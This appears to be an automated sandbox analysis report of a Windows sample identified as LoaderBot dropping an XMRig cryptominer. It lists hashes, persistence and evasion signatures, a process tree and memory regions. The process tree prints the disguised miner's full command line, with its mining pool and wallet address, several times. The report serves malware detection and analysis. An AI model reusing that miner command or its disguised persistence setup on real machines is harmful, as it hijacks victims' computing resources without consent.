Analysis

  • max time kernel
    43s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-05-2023 06:54

General

  • Target

    0x0008000000012702-1141.exe

  • Size

    4.0MB

  • MD5

    33b4baef7b0a6ad57a7d30af324c4efd

  • SHA1

    b169a559615a8448d7ed7da56d36a6850d2092e2

  • SHA256

    3a48d4a5106dd9ba74e5fccfe58bf65581ee894d7f3ca1b15e6680fc912cd150

  • SHA512

    739759d92a9e48e41b0366104ac9edf469cd8f323bbef0b507e3351cf081869ed069b88927fa70329d655012702385a74686df921a62dba95d7ec138a1e46690

  • SSDEEP

    49152:ENDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:SzP88fBsnZTgOtqB3m1RC3

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 20 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x0008000000012702-1141.exe
    "C:\Users\Admin\AppData\Local\Temp\0x0008000000012702-1141.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5112
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 5112 -s 760
        3⤵
        • Program crash
        PID:2664
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1912
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1912 -s 536
        3⤵
        • Program crash
        PID:1688
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
      2⤵
        PID:1128
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1128 -s 536
          3⤵
          • Program crash
          PID:3664
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
        2⤵
          PID:2092
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 456 -p 5112 -ip 5112
        1⤵
          PID:1164
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 488 -p 1912 -ip 1912
          1⤵
            PID:1044
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -pss -s 532 -p 1128 -ip 1128
            1⤵
              PID:2640

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

              Filesize

              3.9MB

              MD5

              02569a7a91a71133d4a1023bf32aa6f4

              SHA1

              0f16bcb3f3f085d3d3be912195558e9f9680d574

              SHA256

              8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

              SHA512

              534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

            • memory/1128-180-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-177-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-181-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-183-0x0000000000440000-0x0000000000460000-memory.dmp

              Filesize

              128KB

            • memory/1128-184-0x0000000000460000-0x0000000000480000-memory.dmp

              Filesize

              128KB

            • memory/1128-179-0x0000000000460000-0x0000000000480000-memory.dmp

              Filesize

              128KB

            • memory/1128-178-0x0000000000440000-0x0000000000460000-memory.dmp

              Filesize

              128KB

            • memory/1128-182-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-176-0x0000000000460000-0x0000000000480000-memory.dmp

              Filesize

              128KB

            • memory/1128-175-0x0000000000440000-0x0000000000460000-memory.dmp

              Filesize

              128KB

            • memory/1128-174-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-173-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-172-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1128-171-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-154-0x00000000128E0000-0x0000000012900000-memory.dmp

              Filesize

              128KB

            • memory/1912-156-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-165-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-166-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-168-0x0000000013150000-0x0000000013170000-memory.dmp

              Filesize

              128KB

            • memory/1912-167-0x0000000012E20000-0x0000000012E40000-memory.dmp

              Filesize

              128KB

            • memory/1912-163-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-162-0x0000000013150000-0x0000000013170000-memory.dmp

              Filesize

              128KB

            • memory/1912-161-0x0000000012E20000-0x0000000012E40000-memory.dmp

              Filesize

              128KB

            • memory/1912-160-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-159-0x0000000013150000-0x0000000013170000-memory.dmp

              Filesize

              128KB

            • memory/1912-158-0x0000000012E20000-0x0000000012E40000-memory.dmp

              Filesize

              128KB

            • memory/1912-157-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-164-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/1912-152-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/2092-187-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/2092-188-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/2092-189-0x0000000000440000-0x0000000000460000-memory.dmp

              Filesize

              128KB

            • memory/2092-190-0x0000000000460000-0x0000000000480000-memory.dmp

              Filesize

              128KB

            • memory/2092-191-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/4536-133-0x0000000000B60000-0x0000000000F5E000-memory.dmp

              Filesize

              4.0MB

            • memory/4536-155-0x00000000058C0000-0x00000000058D0000-memory.dmp

              Filesize

              64KB

            • memory/4536-147-0x00000000058C0000-0x00000000058D0000-memory.dmp

              Filesize

              64KB

            • memory/4536-136-0x0000000005BB0000-0x0000000005C16000-memory.dmp

              Filesize

              408KB

            • memory/5112-150-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/5112-149-0x0000000140000000-0x0000000140B75000-memory.dmp

              Filesize

              11.5MB

            • memory/5112-148-0x00000000004D0000-0x00000000004E4000-memory.dmp

              Filesize

              80KB